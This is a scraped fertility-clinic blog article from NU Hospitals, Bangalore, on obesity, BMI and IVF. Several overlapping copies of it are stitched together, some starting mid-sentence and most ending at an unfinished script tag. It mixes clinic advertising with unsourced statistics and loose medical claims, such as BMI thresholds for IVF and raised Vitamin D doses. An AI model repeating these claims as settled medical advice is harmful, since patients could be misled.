count</strong></a></span> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><span style=\"color: #333333;\"><strong>Best Hospital for IVF Treatment</strong></span></h2>\r\n<span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a></span>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><span style=\"color: #333333;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe <strong>BMI or Body Mass Index</strong> during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a></span> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><span style=\"color: #333333;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them. While it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese and the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is.

This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences.

IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our IVF specialists and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>what is Obesity?</strong></span></h2>\nObesity, in simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\n\n<!--more-->\n\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How does being overweight affect fertility?</strong></span></h2>\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values.\n\n<strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity.</strong> BMI is calculated by using the height and weight of an individual. Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How obesity affects fertility in women?</strong></span></h2>\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a></span> which happens as a result of hormonal and other metabolic imbalance.\n\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\n\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>IVF Treatment</strong></span></h2>\n<span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a></span>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues.

Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\n\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\n\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a></span> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\">Conclusion</span></h2>\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive.

simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them. While it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese and the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n\r\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them. While it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese and the most widely noticed consequence is related to female infertility.\r\n\r\nAccording to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n\r\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them. While it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese and the most widely noticed consequence is related to female infertility.\r\n\r\nAccording to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n\r\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them. While it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%.\r\n\r\nHowever, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n\r\n<strong>How obesity affects fertility in women</strong> is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them. While it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%.\r\n\r\nHowever, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n\r\n<strong>How obesity affects fertility in women</strong> is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art 